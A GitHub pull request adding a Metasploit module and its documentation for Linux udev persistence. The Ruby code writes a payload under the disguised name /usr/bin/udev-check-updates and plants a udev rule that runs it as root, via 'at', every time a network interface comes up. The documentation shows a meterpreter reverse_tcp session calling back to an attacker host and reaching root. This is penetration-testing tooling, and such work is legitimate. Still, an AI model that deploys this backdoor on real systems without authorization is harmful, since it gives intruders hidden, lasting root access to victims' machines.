Skip to content

Add modules/exploits/linux/local/udev_persistence.rb #19472

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
43 changes: 43 additions & 0 deletions documentation/modules/exploit/linux/local/udev_persistence.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev).
The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up.

## Verification Steps

1. Start msfconsole
2. Obtain a session on the target machine
3. `use exploit/linux/local/udev_persistence`
4. `set session -1`
5. `exploit`

## Module usage

```
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/udev_persistence) > set session -1
session => -1
msf6 exploit(linux/local/udev_persistence) > exploit

[*] /usr/bin/udev-check-updates written
[*] /lib/udev/rules.d/99-update.rules written
msf6 exploit(linux/local/udev_persistence) >
[*] Sending stage (3045380 bytes) to 172.18.49.39
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
msf6 exploit(linux/local/udev_persistence) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root
meterpreter >
```

## Options

### BACKDOOR_PATH

Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules)

### PAYLOAD_PATH

Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates)

69 changes: 69 additions & 0 deletions modules/exploits/linux/local/udev_persistence.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(
update_info(
info,
'Name' => 'udev persistence',
'Description' => %q{
This module will add a script in /lib/udev/rules.d/ in order to execute a payload written on disk.
It'll be executed with root privileges everytime a network interface other than l0 comes up.
},
'License' => MSF_LICENSE,
'Author' => [ 'Julien Voisin' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => '1999-01-01',
'Notes' => {
'Stability' => [],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK]
},
'References' => [
['URL', 'https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp'],
['URL', 'https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/'],
]
)
)
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
end

def exploit
unless executable? '/usr/bin/at'
fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
end

unless writable? File.dirname(datastore['BACKDOOR_PATH'])
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
end
if exists? datastore['BACKDOOR_PATH']
fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
end

unless writable? File.dirname(datastore['PAYLOAD_PATH'])
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
end
if exists? datastore['PAYLOAD_PATH']
fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
end

upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
print_status "#{datastore['PAYLOAD_PATH']} written"

write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The return value from write_file should be checked probably and print out error in case of failure.

print_status "#{datastore['BACKDOOR_PATH']} written"
end
end
Loading